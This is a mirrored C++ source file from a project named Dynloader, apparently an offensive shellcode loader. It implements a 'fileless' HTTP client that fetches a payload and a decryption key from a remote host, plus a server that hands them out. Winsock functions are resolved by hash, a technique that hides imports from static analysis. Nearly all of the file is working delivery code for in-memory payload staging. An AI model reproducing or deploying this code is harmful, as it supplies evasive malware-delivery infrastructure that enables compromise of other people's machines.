mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
361 lines
13 KiB
C++
361 lines
13 KiB
C++
#ifndef WIN32_LEAN_AND_MEAN
|
|
#define WIN32_LEAN_AND_MEAN
|
|
#endif
|
|
#include <winsock2.h>
|
|
#include <ws2tcpip.h>
|
|
#include <Windows.h>
|
|
|
|
#include "http_transport.hpp"
|
|
#include "../resolve/api_resolver.hpp"
|
|
#include "../common/hashes.hpp"
|
|
#include "../common/log.hpp"
|
|
|
|
#include <fstream>
|
|
#include <sstream>
|
|
#include <cstring>
|
|
|
|
namespace HttpTransport {
|
|
|
|
namespace {
|
|
|
|
struct WinsockApi {
|
|
decltype(&WSAStartup) WSAStartupFn = nullptr;
|
|
decltype(&WSACleanup) WSACleanupFn = nullptr;
|
|
decltype(&socket) socketFn = nullptr;
|
|
decltype(&connect) connectFn = nullptr;
|
|
decltype(&send) sendFn = nullptr;
|
|
decltype(&recv) recvFn = nullptr;
|
|
decltype(&closesocket) closesocketFn = nullptr;
|
|
decltype(&bind) bindFn = nullptr;
|
|
decltype(&listen) listenFn = nullptr;
|
|
decltype(&accept) acceptFn = nullptr;
|
|
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
|
|
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
|
|
decltype(&setsockopt) setsockoptFn = nullptr;
|
|
bool loaded = false;
|
|
bool started = false;
|
|
};
|
|
|
|
bool LoadWinsock(WinsockApi& ws) {
|
|
if (ws.loaded) {
|
|
return true;
|
|
}
|
|
|
|
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
|
|
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
|
|
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
|
|
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
|
|
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
|
|
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
|
|
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
|
|
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
|
|
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
|
|
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
|
|
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
|
|
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
|
|
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
|
|
|
|
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
|
|
return ws.loaded;
|
|
}
|
|
|
|
bool EnsureWinsock(WinsockApi& ws) {
|
|
if (!LoadWinsock(ws)) {
|
|
return false;
|
|
}
|
|
if (!ws.started) {
|
|
WSADATA wsa{};
|
|
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
|
|
return false;
|
|
}
|
|
ws.started = true;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
|
|
Log::Banner("HTTP GET (fileless client)");
|
|
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
|
|
|
|
WinsockApi ws{};
|
|
if (!EnsureWinsock(ws)) {
|
|
Log::Dbg("winsock load/WSAStartup failed");
|
|
return false;
|
|
}
|
|
Log::Dbg("winsock ready");
|
|
|
|
addrinfo hints{};
|
|
hints.ai_family = AF_UNSPEC;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
hints.ai_protocol = IPPROTO_TCP;
|
|
|
|
addrinfo* result = nullptr;
|
|
const auto portStr = std::to_string(ep.port);
|
|
if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) {
|
|
Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str());
|
|
return false;
|
|
}
|
|
Log::Dbg("getaddrinfo OK — connecting...");
|
|
|
|
SOCKET sock = INVALID_SOCKET;
|
|
for (auto* ptr = result; ptr; ptr = ptr->ai_next) {
|
|
sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
|
if (sock == INVALID_SOCKET) {
|
|
continue;
|
|
}
|
|
if (ws.connectFn(sock, ptr->ai_addr, static_cast<int>(ptr->ai_addrlen)) == 0) {
|
|
Log::Sys("connected socket=%llu family=%d",
|
|
static_cast<unsigned long long>(sock), ptr->ai_family);
|
|
break;
|
|
}
|
|
ws.closesocketFn(sock);
|
|
sock = INVALID_SOCKET;
|
|
}
|
|
ws.freeaddrinfoFn(result);
|
|
|
|
if (sock == INVALID_SOCKET) {
|
|
Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port);
|
|
return false;
|
|
}
|
|
|
|
std::ostringstream req;
|
|
req << "GET " << path << " HTTP/1.1\r\n"
|
|
<< "Host: " << ep.host << "\r\n"
|
|
<< "Connection: close\r\n\r\n";
|
|
|
|
const std::string reqStr = req.str();
|
|
Log::Dbg("send request (%zu bytes)", reqStr.size());
|
|
if (ws.sendFn(sock, reqStr.c_str(), static_cast<int>(reqStr.size()), 0) <= 0) {
|
|
Log::Dbg("send failed");
|
|
ws.closesocketFn(sock);
|
|
return false;
|
|
}
|
|
|
|
std::vector<std::uint8_t> response;
|
|
char buf[4096];
|
|
for (;;) {
|
|
const int n = ws.recvFn(sock, buf, sizeof(buf), 0);
|
|
if (n <= 0) {
|
|
break;
|
|
}
|
|
response.insert(response.end(), buf, buf + n);
|
|
}
|
|
ws.closesocketFn(sock);
|
|
Log::Dbg("recv total response=%zu bytes", response.size());
|
|
|
|
// Find end of HTTP headers
|
|
const char* data = reinterpret_cast<const char*>(response.data());
|
|
const char* hdrEnd = strstr(data, "\r\n\r\n");
|
|
if (!hdrEnd) {
|
|
Log::Dbg("no HTTP header terminator");
|
|
return false;
|
|
}
|
|
const size_t bodyOff = (hdrEnd - data) + 4;
|
|
|
|
size_t contentLen = 0;
|
|
const char* cl = strstr(data, "Content-Length:");
|
|
if (cl && cl < hdrEnd) {
|
|
contentLen = static_cast<size_t>(std::strtoul(cl + 15, nullptr, 10));
|
|
}
|
|
Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen);
|
|
|
|
if (contentLen > 0 && bodyOff + contentLen <= response.size()) {
|
|
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff),
|
|
response.begin() + static_cast<ptrdiff_t>(bodyOff + contentLen));
|
|
} else if (bodyOff < response.size()) {
|
|
body.assign(response.begin() + static_cast<ptrdiff_t>(bodyOff), response.end());
|
|
} else {
|
|
body.clear();
|
|
}
|
|
Log::Info("HTTP body size=%zu for %s", body.size(), path);
|
|
return true;
|
|
}
|
|
|
|
std::string BuildHttpResponse(const std::vector<std::uint8_t>& body, const char* contentType) {
|
|
std::ostringstream oss;
|
|
oss << "HTTP/1.1 200 OK\r\n"
|
|
<< "Content-Type: " << contentType << "\r\n"
|
|
<< "Content-Length: " << body.size() << "\r\n"
|
|
<< "Connection: close\r\n\r\n";
|
|
std::string hdr = oss.str();
|
|
std::string out = hdr;
|
|
out.append(reinterpret_cast<const char*>(body.data()), body.size());
|
|
return out;
|
|
}
|
|
|
|
bool ReadFileBytes(const std::wstring& path, std::vector<std::uint8_t>& out) {
|
|
std::ifstream f(path, std::ios::binary | std::ios::ate);
|
|
if (!f.is_open()) {
|
|
return false;
|
|
}
|
|
out.resize(static_cast<size_t>(f.tellg()));
|
|
f.seekg(0);
|
|
f.read(reinterpret_cast<char*>(out.data()), out.size());
|
|
return true;
|
|
}
|
|
|
|
void HandleClient(WinsockApi& ws, SOCKET client,
|
|
const std::vector<std::uint8_t>& payload, const std::vector<std::uint8_t>& keyBlob,
|
|
bool /*verbose*/) {
|
|
char buf[2048] = {};
|
|
const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0);
|
|
|
|
// First request line only for clean logs
|
|
char reqLine[128] = {};
|
|
{
|
|
size_t i = 0;
|
|
while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') {
|
|
reqLine[i] = buf[i];
|
|
++i;
|
|
}
|
|
}
|
|
Log::Srv("accept client sock=%llu recv=%d req=\"%s\"",
|
|
static_cast<unsigned long long>(client), nrecv, reqLine);
|
|
|
|
std::vector<std::uint8_t> response;
|
|
const char* route = "404";
|
|
size_t bodyBytes = 0;
|
|
if (strstr(buf, "GET /api/v1/payload")) {
|
|
route = "/api/v1/payload";
|
|
bodyBytes = payload.size();
|
|
auto http = BuildHttpResponse(payload, "application/octet-stream");
|
|
response.assign(http.begin(), http.end());
|
|
} else if (strstr(buf, "GET /api/v1/key")) {
|
|
route = "/api/v1/key";
|
|
bodyBytes = keyBlob.size();
|
|
auto http = BuildHttpResponse(keyBlob, "application/octet-stream");
|
|
response.assign(http.begin(), http.end());
|
|
} else if (strstr(buf, "GET /api/v1/health")) {
|
|
route = "/api/v1/health";
|
|
bodyBytes = 2;
|
|
const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
|
|
response.assign(ok, ok + strlen(ok));
|
|
} else {
|
|
const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n";
|
|
response.assign(nf, nf + strlen(nf));
|
|
}
|
|
|
|
const int nsent = ws.sendFn(client, reinterpret_cast<const char*>(response.data()),
|
|
static_cast<int>(response.size()), 0);
|
|
Log::Srv("reply route=%s body=%zu wire=%zu sent=%d",
|
|
route, bodyBytes, response.size(), nsent);
|
|
ws.closesocketFn(client);
|
|
}
|
|
|
|
} // namespace
|
|
|
|
bool ParseSource(const std::string& source, Endpoint& out) {
|
|
out = {};
|
|
out.port = 8080;
|
|
|
|
const auto colon = source.find(':');
|
|
if (colon == std::string::npos) {
|
|
out.host = source;
|
|
return !out.host.empty();
|
|
}
|
|
|
|
out.host = source.substr(0, colon);
|
|
try {
|
|
out.port = static_cast<std::uint16_t>(std::stoi(source.substr(colon + 1)));
|
|
} catch (...) {
|
|
return false;
|
|
}
|
|
return !out.host.empty();
|
|
}
|
|
|
|
bool FetchPayload(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
|
return HttpGet(ep, "/api/v1/payload", body);
|
|
}
|
|
|
|
bool FetchKey(const Endpoint& ep, std::vector<std::uint8_t>& body) {
|
|
return HttpGet(ep, "/api/v1/key", body);
|
|
}
|
|
|
|
bool RunServerMemory(std::uint16_t port, const std::vector<std::uint8_t>& payload,
|
|
const std::vector<std::uint8_t>& keyBlob, bool verbose) {
|
|
// Prefer explicit flag; also honor Log server channel if already enabled.
|
|
if (verbose) {
|
|
Log::SetServerVerbose(true);
|
|
}
|
|
|
|
Log::SrvBanner("HTTP Bind");
|
|
Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port);
|
|
|
|
WinsockApi ws{};
|
|
if (!EnsureWinsock(ws)) {
|
|
Log::Srv("winsock load failed");
|
|
return false;
|
|
}
|
|
Log::Srv("winsock APIs resolved (hash) + started");
|
|
|
|
addrinfo hints{};
|
|
hints.ai_family = AF_INET;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
hints.ai_protocol = IPPROTO_TCP;
|
|
hints.ai_flags = AI_PASSIVE;
|
|
|
|
addrinfo* result = nullptr;
|
|
const auto portStr = std::to_string(port);
|
|
if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) {
|
|
Log::Srv("getaddrinfo failed for port %s", portStr.c_str());
|
|
return false;
|
|
}
|
|
|
|
SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol);
|
|
if (listenSock == INVALID_SOCKET) {
|
|
Log::Srv("socket() failed");
|
|
ws.freeaddrinfoFn(result);
|
|
return false;
|
|
}
|
|
Log::Srv("listen socket=%llu", static_cast<unsigned long long>(listenSock));
|
|
|
|
int yes = 1;
|
|
ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast<const char*>(&yes), sizeof(yes));
|
|
Log::Srv("SO_REUSEADDR=1");
|
|
|
|
if (ws.bindFn(listenSock, result->ai_addr, static_cast<int>(result->ai_addrlen)) != 0) {
|
|
Log::Srv("bind failed on port %u", port);
|
|
ws.closesocketFn(listenSock);
|
|
ws.freeaddrinfoFn(result);
|
|
return false;
|
|
}
|
|
ws.freeaddrinfoFn(result);
|
|
Log::Srv("bind OK 0.0.0.0:%u", port);
|
|
|
|
if (ws.listenFn(listenSock, SOMAXCONN) != 0) {
|
|
Log::Srv("listen failed");
|
|
ws.closesocketFn(listenSock);
|
|
return false;
|
|
}
|
|
Log::Srv("listen OK backlog=SOMAXCONN");
|
|
|
|
// Always show ready line; details only with --verbose
|
|
Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)",
|
|
port, payload.size(), keyBlob.size());
|
|
Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health");
|
|
Log::Srv("waiting for clients...");
|
|
|
|
for (;;) {
|
|
SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr);
|
|
if (client == INVALID_SOCKET) {
|
|
Log::Srv("accept returned INVALID_SOCKET — retry");
|
|
continue;
|
|
}
|
|
HandleClient(ws, client, payload, keyBlob, verbose);
|
|
}
|
|
}
|
|
|
|
bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) {
|
|
std::vector<std::uint8_t> payload;
|
|
std::vector<std::uint8_t> keyBlob;
|
|
|
|
if (!ReadFileBytes(payloadPath, payload)) {
|
|
return false;
|
|
}
|
|
|
|
// Key is optional for non-encrypted payloads
|
|
ReadFileBytes(keyPath, keyBlob);
|
|
return RunServerMemory(port, payload, keyBlob, false);
|
|
}
|
|
|
|
} // namespace HttpTransport
|